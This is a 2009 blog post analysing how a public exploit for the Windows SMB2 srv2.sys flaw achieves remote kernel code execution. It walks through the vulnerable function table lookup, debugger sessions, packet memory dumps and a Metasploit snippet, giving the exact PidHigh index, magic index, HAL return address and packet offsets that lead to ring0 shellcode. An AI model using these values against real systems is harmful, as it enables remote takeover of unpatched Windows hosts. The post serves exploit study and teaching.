2009
10.18

Hi buddies This is Snake again. SMB2 flaw was a big mistake for Microsoft  ( just take look at Laurent Gaffié fuzzer ! )  and in this post i will discuss how exploit this vulnerability.my informations and exploitation guide is base on Stephen Fewer  first exploit ( i will discuss second exploit known as “351 Packets from the Trampoline” in another post ) . before we start , it is better to know some basic information about smb protocol  .

What is SMB ?

from Wikipedia :  ”In computer networking, Server Message Block (SMB) operates as an application-layer network protocol mainly used to provide shared access to files, printers, serial ports, and miscellaneous communications between nodes on a network. It also provides an authenticated Inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows, where it is often known as ‘Microsoft Windows Network’ ” and smb2 , “Microsoft introduced a new version of the Server Message Block (SMB) protocol (SMB 2.0 or SMB2) with Windows Vista in 2006. SMB2 reduces the ‘chattiness’ of the protocol by reducing the number of commands and subcommands from over a hundred to just nineteen. It has mechanisms for pipelining, that is, sending additional requests before the response to a previous request arrives.” in Windows Vista/2008/7 , srv2.sys driver handle smb2 messages . there is vulnerability in that driver when it want to call a function from a function table.  lets dig into srv2.sys and finding vulnerability …

Start Point : The Vulnerability

lets start with vulnerability itself , as i said vulnerability occurred in when srv2.sys deriver want handle a specially corrupted  message . vulnerable codes are in Smb2ValidateProviderCallback() function . in Smb2ValidateProviderCallback(x)+4DE we have :

fig.1

we can write it down in simple pseudo code like this :

[...]
 CallBackFunction = _ValidateRoutines[ NegotiatePacket->PidHight * 4 ];
 if ( CallBackFunction == NULL ){
 // some codes for recovering saved Security_Cookie
 // they add automatically by compiler in function epilogue
 // mov     ecx, [ebp+var_4] -> this is Cookie
 // pop     edi
 // pop     esi
 // xor     ecx, ebp -> recovering Cookie
 // pop     ebx
 // call __security_check_cookie(Saved_Security_Cookie) -> eating cookie ;)
 return ( 0xC0000002 );
 } else {
 return ( (*CallBackFunction)(Argument) );
 }
[...]

you find the vuln ? as you can see there is parameter  ”NegotiatePacket->PidHight”. this is a part of NEGOTIATE PROTOCOL REQUEST PACKET . we can control this field in our packet ,  so we can control “CallBackFunction” , and if we control “CallBackFunction” we control EIP !

Packet, Header and PID

before triggering the vulnerability  we need Packet bullet  .  SMB Packets are composed of three parts :

  • Header
  • Parameter Block
  • Data Block

in above figure you can see SMB packet layout :

Smb Packet

in syntax presentation Header is look like :

SMB_HEADER
  {
  PROTOCOL  = "\xffSMB"
  COMMAND   = <SMB Command code>
  STATUS    = <Status code>
  FLAGS     = <Old flags>
  FLAGS2    = <New flags>
  EXTRA     = <Sometimes used for additional data>
  TID       = <Tree ID>
  PID       = <Process ID>
  UID       = <User ID>
  MID       = <Multiplex ID>
[...]
}

The first four bytes are the protocol identifier string , which always are “\xffSMB”  ( \xfe in smb2 ). next filed is COMMAND filed. COMMAND filed is very key factor in smb messages and also in exploitation ( correct command lead us to vulnerable codes ) .as i mentioned before , for diving into vulnerable code wen need to send an NEGOTIATE PROTOCOL REQUEST PACKET . lets take look at NPR Packet :

NEGOTIATE_PROTOCOL_REQUEST
  {
  SMB_HEADER
    {
    PROTOCOL  = "\xffSMB"
    COMMAND   = SMB_COM_NEGOTIATE (0x72)
    STATUS
      {
      ErrorClass
      ErrorCode
      }
    FLAGS
    FLAGS2
    EXTRA
      {
      PidHigh
      Signature
      }
    TID
    PID
    UID
    MID
    }
 [...]

in normal manner PidHight call one of Fucntions which strored in _ValidateRoutines Function Pointer Table :

ValidateRoutines Function Pointer Table

but we want to control execution fl0w , so by sending a specially crafted NRP Packet , we lead execution flow to desire place.but there is limitation . because we PidHight is a word type  , this means just 2 byte length.biggest number in word types is 0xFFFF , and so we can change EIP to [ _ValidateRoutines Address +  ( 0xFF * 4)  ] . there is many locations which we can land in , but where is a reliable place ? at all we need to jump to our packet to execute desire codes . lets start debugging :

kd> u 917ac745

srv2!Smb2ValidateProviderCallback+0x4e8:

917ac745 0fb7460c        movzx   eax,word ptr [esi+0Ch]

917ac749 8b048570227c91  mov     eax,dword ptr srv2!ValidateRoutines (917c2270)[eax*4]

917ac750 85c0            test    eax,eax

917ac752 7507            jne     srv2!Smb2ValidateProviderCallback+0x4fe (917ac75b)

917ac754 b8020000c0      mov     eax,0C0000002h

917ac759 eb03            jmp     srv2!Smb2ValidateProviderCallback+0x501 (917ac75e)

917ac75b 53              push    ebx

917ac75c ffd0            call    eax

kd> bl

 0 e 917ac745     0001 (0001) srv2!Smb2ValidateProviderCallback+0x4e8

 1 eu             0001 (0001) (l)

 2 e 917b7ea0     0001 (0001) srv2!SrvSnapShotScavengerTimer



kd> g

Breakpoint 0 hit

srv2!Smb2ValidateProviderCallback+0x4e8:

917ac745 0fb7460c        movzx   eax,word ptr [esi+0Ch]

i put a break point in vulnerable function  ( in srv2!Smb2ValidateProviderCallback+0×4e8 )  , then i run  Stephan’s Exploit .as you can see , ESI+0c point to PidHight , and ESI itself poit to our packet :

 kd> d esi

85317600  ff 53 4d 42 72 00 00 00-00 18 53 c8 17 02 00 e9  .SMBr.....S.....

85317610  58 01 00 00 00 00 00 00-00 00 00 00 00 00 c5 bb  X...............

85317620  00 20 02 02 04 0d df ff-04 0d df ff 04 0d df ff  . ..............

85317630  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317640  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317650  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317660  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

85317670  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

Stephen use  0×0217 as index for ValidateRoutines function table . but why ? i mentioned before , after all we need to jump to our packet for getting code execute and you know we just can control stack by jumping to pop/push instructions. now esp point to 091996d04 , this very far from our packet address ( 0×85317600 )  so poping items from stack is not good idea !  but how ESI got a pointer to our packet ? maybe it loaded from stack to ESI ?! lets search stack for Packet Pointers :

kd> s -d 0x91996d04 L?0x91996d04+50 0x85317600

91996d1c  85317600 8518b1a8 84eb7568 8713b808  .v1.....hu......

yow ,  i found one ! it located at 0x91996d1c . but wat we can do with this pointer ? jumping to 6 pop and then ret ? or add esp,18/ret ? can we find those instructions ? i think the answer is no ! but what we can do ? Stephen use 0×0217 as index,  now EAX point to SrvSnapShotScavengerTimer function. let see what have there : SrvSnapShotScavengerTimer Function

little function . what is so important in this function ? if you look carefully you see RET 0×10 instruction at the end of function!   SrvSnapShotScavengerTimer function called with Stdcall calling convention , this means stack clean up is on Callee not Caller . now we have 4 argument ( 16 byte ) and so RET 10h clean argument up from stack. but why we do this ? lets take look at end of Smb2ValidateProviderCallback :

pop     edi

pop     esi

xor     ecx, ebp

pop     ebx

call    @__security_check_cookie@4 ; __security_check_cookie(x)

leave

retn    4

if you remember , our packet pointer was in esp+18 , so by ret 10h  our pointer move ( not really MOVE !!! ) to esp+4 ! look :

kd> dd esp

91996d18  84eb746c 85317600 8518b1a8 84eb7568

91996d28  8713b808 84eb7408 917c4fc4 00000000

91996d38  00e5448c 91996d50 917c4a77 8518b008

91996d48  86e9aee0 8518b008 91996d7c 917c319f

91996d58  8518b008 00000000 8713b808 00000000

91996d68  00000000 00000000 91996d80 00000001

91996d78  00000001 91996dc0 819eda1c 00000000

91996d88  7426f33a 00000000 00000000 00000000

so after we return from SrvSnapShotScavengerTimer and at the end of Smb2ValidateProviderCallback , EDI receive 084eb746c and after that , by pop esi , ESI will grab 0x85317600 ! but why we do this ? becuse we need esi as pointer to our controllable area . you will find out it further . now lets take lock at call stack , where we return after Smb2ValidateProviderCallback is srv2!SrvProcessPacket+0×4b :

srv2!SrvProcessPacket+0x4b

EAX is zero  :

kd> r

eax=00000000 ebx=8515c778 ecx=91b8b96a edx=00000000 esi=85211bf8 edi=85217444

eip=91b8da77 esp=88561d48 ebp=88561d50 iopl=0         nv up ei pl zr na pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246

so we jump to loc_91E78A99 , result of comparing EAX  with 0×103 is jump to srv2!SrvProcessPacket+74 . in this basic block EAX compared with EDI and because EDI has non-zero value , we jump to  loc_91E78AA9 .after a few instructions , we land here :

fig.7

ESI still point to our packet , because there wasn’t any instruction which change ESI value . after ESI pushed on the stack srv2!SrvProcCompleteRequest function called.this function is key for getting code execute ! a little cheat show you this key :

Cheaty Beaty

you found that :-”  . at the first of this function we have :

fig.9

after some  repetitious instructions :

mov     esi, dword ptr [ebp+NewIrql]
cmp     byte ptr [esi+0C8h], 0
jnz     short loc_91E78AE7

NewIrql is 3rd  parameter from stack , you remember ? that was a push esi ! after that we have compare instruction . if esi+0c8 wasn’t zero we jump to loc_91E78AE7 . loc_91E78AE7 will direct us to fully controllable “call eax” .if  i don’t understand why Stephen doesn’t put zero at esi+0c8 and make his job harder by second call to srv2!SrvProcCompleteRequest to get “call eax” ,continue reading ,  i will show you his l33t magic . so as i said , esi+0c8 point to a zero value and then we are here :

fig.10

again ESI pushed on the stack as function argument , so we have controllable area in SrvConsumeDataAndComplete function too .

fig.11

there isn’t any important thing in SrvConsumeDataAndComplete , just if you look carefully will see we have our controllable after SrvConsumeDataAndComplete2 called , because of “mov eax, [ebp+NewIrql]”  and then ”push eax” instructions. there is second call to SrvProcCompleteRequest function  in SrvConsumeDataAndComplete2 .

fig.12

but if we want this , we have to change execution flow to the basic block which call SrvProcCompleteRequest.red windows lead us to SrvProcCompleteRequest call .

fig.13

lets  see SrvConsumeDataAndComplete2 :

fig.14

after function prologue ,  we have “cmp dword ptr [esi+150h],ebx” , ESI+150 point to 0×41414141 . so jz never jump to loc_91E796B5 . in “mov eax, [esi+14Ch]” , 0×3FFFFFB4 load in EAX ( this is Stephen Magic Index ). after that becuse EAX is not zero ( cmp eax, 0FFFFFFFFh ) , we jump to red line pointed block.i this block we have to interesting instructions :

mov     ebx, [esi+128h]

mov     edi, [esi+12Ch]

both esi+128 and esi+12c of our packet point to 0xFFFFFFFF . this values will further use in sbb instruction :

 sbb     ebx, edi

mov     [ebp+var_4], ebx

js      short loc_91E79683

now , because both ebx and edi are unsigned and subtract result too, Sign Flag  will be zero and js instruction direct us to red line pointed of below figure :

fig.15

jg instruction execute if ZF = 0 and SF=OF . if look at Flag registers you see ZF = SF = OF = 0 , so jg execute and we jump to loc_91E79668 .after Xor we rech to loc_91E7966A block.  after first sub instruction in this block we have “mov ecx, [ebp+NewIrql]” . do you remeber Magic Index ? me put Magic Index in ebp+NewIrql , so now Magic Index load into ECX. after some instructions we jump short to loc_91E79685 block .in this block , Magic Index load into EAX . Magic Index is make the result of eax*4+130h , zero ! so “lea eax, [esi+eax*4+130h]” is equl to “lea eax, [esi+0]” . now eax point to our packet . after that we have “inc dword ptr [eax]” . THIS IS BIGGEST HAXOR EDIT THAT EVER I SEE ! if look carefully at smb packet Header you see something like “424d53ff” . this hex numbers assembel to “CALL DWORD PTR SS:[EBP+ECX*2+42]” but by Stephan’s l33t magic , inc [eax] make smb header like “424d5400″ and  this assemble to ”add byte ptr [ebp+ecx*2+42h],dl” . after that controllable “CALL EAX” we want to jump to our packet and if first instruction of packet assemble to “CALL DWORD PTR SS:[EBP+ECX*2+42]” we call unknown function and a nice AV !  but Stephen’s l33t magic makes things right ;) . “or”  instruction is not so important and after that we jump to loc_91E79698 :

fig.16

there isn’t any important thing in loc_91E79698 block , we skip this block and go to  loc_91E796B5 . here we  have little tricky address. look at this instructions :

mov     ecx, [esi+3Ch]

mov     eax, [ecx+18h]

esi+3c most point to a readble place , becuse at nex intruction ecx+18 read value from preview loaded address . Stephen take 0xffdf0d1c  . so 0xffdf0d1c load into ecx by first instruction and at second instruction ecx+18 = 0×0000000 , a zero readable place ! then we have “cmp eax, ebx” , eax is zero becuase of “mov eax, [ecx+18h]” instruction and ebx is also zero because of xor instruction in  loc_91E79668 block.so jge instruction execute and we jump to loc_91E7971F block :

fig.17

we want jnz intruction direct us to red line pointet block , so we need both ecx and eax being zero ! so we most put zero at esi+0A0h and esi+9Ch . Stephen do thing right , after that instructions :

 kd> r

eax=00000000 ebx=00000000 ecx=00000000 edx=000017f3 esi=85211bf8 edi=ffffffff

eip=91b8e72b esp=88561cfc ebp=88561d10 iopl=0         nv up ei pl zr na pe nc

cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246

srv2!SrvConsumeDataAndComplete2+0x11a:

91b8e72b 3bc8            cmp     ecx,eax

now we are here :

fig.18

here is a another haxor edit ! i don’t know how Stephen found this great function !?! really really awesome work Stephen ! if you lock carefully at “mov byte ptr [esi+0C8h], 1″ instruction , you will remember a important CMP instruction . let me help you ! lets jump backward to SrvProcCompleteRequest function .  at firs of SrvProcCompleteRequest function we have :

cmp     byte ptr [esi+0C8h], 0

jnz     short loc_91E78AE7

if this compare lead us to loc_91E78AE7 block we can reach at  fully controllable EAX , so if esi+0c8 be zero we loos code execute . but with with “mov byte ptr [esi+0C8h], 1″ we can reach at desire place ! really awesome work and function selection ! now after that haxor Smb Header edit , we set esi+0C8h by one and  make code execution happen . lets go further in loc_91E79968 :

fig.19

this is second call to SrvProcCompleteRequest . so lets go :

fig.20

we are here after cmp instruction make”jnz short loc_91E78AE7″ happen . in loc_91E78AE7 block esi+0A8h most be Zero to let jz instruction execute.after jumping into loc_91E78B1D block , ebp+arg_8 compared with zero ! now ebp+arg_8 value is 0×00000001 .we make this also by l33t haxor edit , you remember that ? no ? read again carefully ! when we jump to loc_91E78C50 block , edi is zero becuse of xor intruction in loc_91E78AE7 block, so we need non-zero value in esi+30h.  if jz don’t execute , we jump here :

fig.20

in first block we have no important thing , just some address most be readable  and it is better that esi+0E0h point to a Zero value ( this make way near ) . now because esi+0E0h point to zero we jump into loc_91E78B80 block . there nothing also . so we go to this block :

fig.22

we are so close to the end of story . we put Return Address at esi+168h and then BOOOM!!! in the next block our fully controllable return address from Packet+ 0×168 will call ! Stephen do the l33t job here again . what is a reliable return address ? jumping directly to shellcode in our packet ? no this not the answer ! if do this and using hardcode address , our exploit maybe work just one time ! because ASRL,Reboot and many other thing cause addresses change ! Stephen find 0xFFD00D09 as Return address . this address is from Kernell HAL memory and there is no ASRL ! so this address is alway stable ! but this address point to what ? lets find out :

kd> p

srv2!SrvProcCompleteRequest+0xd2:

91b8db91 ffd0            call    eax

kd> u ffd00d09

ffd00d09 5e              pop     esi

ffd00d0a c3              ret

ffd00d0b 7c58            jl      ffd00d65

ffd00d0d 0fb75102        movzx   edx,word ptr [ecx+2]

ffd00d11 0fb77002        movzx   esi,word ptr [eax+2]

ffd00d15 663bd6          cmp     dx,si

ffd00d18 7fed            jg      ffd00d07

ffd00d1a 7c49            jl      ffd00d65

“pop esi,ret ” ? yes . lets look at stack :

kd> p

Breakpoint 6 hit

ffd00d09 5e              pop     esi

kd> p

ffd00d0a c3              ret

kd> dd esp

88561cd0  85211bf8 ffffffff 00000000 85211bf8

88561ce0  00000000 00000000 88561d10 91b8e96f

88561cf0  85211bf8 00000000 00000001 85217444

88561d00  85211bf8 8515c778 ffdf0d04 000008a4

88561d10  88561d1c 91b8e997 3fffffb4 88561d34

88561d20  91b8dae2 85211bf8 85211bf8 91b8b901

88561d30  91b8b901 88561d50 91b8dab4 85211bf8

88561d40  00000000 91b8b901 8711bac0 8515c5d8

Yes , this is pointer to our packet ! we jump back to our packet , look at esi before this pop occurred :

 kd> dd esi

85211bf8  424d5400 00000072 c8531800 e9000217

85211c08  00000158 00000000 00000000 69890000

85211c18  02022000 ffdf0d04 ffdf0d04 ffdf0d04

85211c28  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04

85211c38  00000000 00000000 91b71c1f 85211bf8

85211c48  91b7157a 00000000 ffdf0d04 ffdf0d04

85211c58  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04

85211c68  ffdf0d04 ffdf0d04 ffdf0d04 ffdf0d04

very nice jump ! lets execute shellcode :

kd> bp 85211bf8

kd> u 85211bf8

85211bf8 00544d42        add     byte ptr [ebp+ecx*2+42h],dl

85211bfc 7200            jb      85211bfe

85211bfe 0000            add     byte ptr [eax],al

85211c00 0018            add     byte ptr [eax],bl

85211c02 53              push    ebx

85211c03 c8170200        enter   217h,0

85211c07 e958010000      jmp     85211d64

85211c0c 0000            add     byte ptr [eax],al

jmp 85211d64″ instruction is value of Signature1 field in packet , here is exploit code :

 packet['Payload']['SMB'].v['Flags1']        = 0x18

 packet['Payload']['SMB'].v['Flags2']        = 0xC853

 packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']

 packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.

 packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...

 packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )

now we jump directly to ring0 shellcode and after that rin3 shellcode . go :

 kd> g 
Break instruction exception - code 80000003 (first chance) SharedUserData+0x4af: 001b:7ffe04af cc              int     3

i use trap-debugger shellcode so int3 instruction is my ring3 shellcode and you can see it executed gracefully .  last note is you most put shellcode in the suitable offset from you packet , because there was some instructions that changed yor packet data and if shellcode located in those offsets …. . have nice exploitation – snake.

No Comment.

Add Your Comment
  1. [...] Full Detailed article about Windows Smb2 Exploit: SMB2 Exploitation Guide for Housekeepers & Dummies ! [...]